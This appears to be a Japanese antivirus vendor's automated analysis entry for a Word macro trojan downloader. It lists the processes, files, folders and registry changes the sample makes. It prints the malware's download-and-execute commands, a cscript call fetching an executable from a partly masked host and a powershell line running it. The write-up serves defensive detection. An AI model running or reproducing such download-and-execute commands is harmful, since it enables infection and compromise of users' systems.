Trojan.W97M.POWLOAD.TIOIBEKW

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

侵入方法

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

インストール

マルウェアは、以下のプロセスを追加します。

• %System Root%\1903Data\Personal2.cmd
• cscript //nologo %System Root%\1903Data\LpkWers1.vbs http://{BLOCKED}ura.com/QW8.exe %System Root%\1903Data\LMNBU5.exe
• powershell -C Sleep -s 7;Saps '%System Root%\1903Data\LMNBU5.exe'
• TRACERT
• NETSTAT
• %System Root%\1903Data\LMNBU5.exe

マルウェアは、以下のフォルダを作成します。

• %User Profile%\Application Data\Microsoft\Forms
• %System Root%\1903Data

(註：%User Profile%フォルダは、現在ログオンしているユーザのプロファイルフォルダです。Windows 2000(32-bit)、XP、Server 2003(32-bit)の場合、通常 "C:\Documents and Settings\＜ユーザ名＞"です。また、Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Users\＜ユーザ名＞" です。. %System Root%フォルダは、オペレーティングシステム(OS)が存在する場所で、いずれのOSでも通常、 "C:" です。.)

他のシステム変更

マルウェアは、以下のレジストリ値を追加します。

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\
Wow6432Node\Interface\{BEF6E003-A874-101A-8BBA-00AA00300CAB}
(Default) = ""

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\
Microsoft\RFC1156Agent\CurrentVersion\
Parameters
TrapPollTimeMilliSecs = "15000"

作成活動

マルウェアは、以下のファイルを作成します。

• %System Root%\1903Data\Personal2.cmd
• %System Root%\1903Data\LMNBU5.exe
• %User Profile%\Application Data\Microsoft\Forms\WINWORD.box
• %System Root%\1903Data\LpkWers1.vbs
• {malware file path and name}

(註：%System Root%フォルダは、オペレーティングシステム(OS)が存在する場所で、いずれのOSでも通常、 "C:" です。.. %User Profile%フォルダは、現在ログオンしているユーザのプロファイルフォルダです。Windows 2000(32-bit)、XP、Server 2003(32-bit)の場合、通常 "C:\Documents and Settings\＜ユーザ名＞"です。また、Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Users\＜ユーザ名＞" です。)

その他

マルウェアは、以下の不正なWebサイトにアクセスします。

• http://{BLOCKED}ura.com/QW8.exe
• http://{BLOCKED}ura.com/cgi-sys/suspendedpage.cgi
• http://2.{BLOCKED}1.168.192.in-addr.arpa

このウイルス情報は、自動解析システムにより作成されました。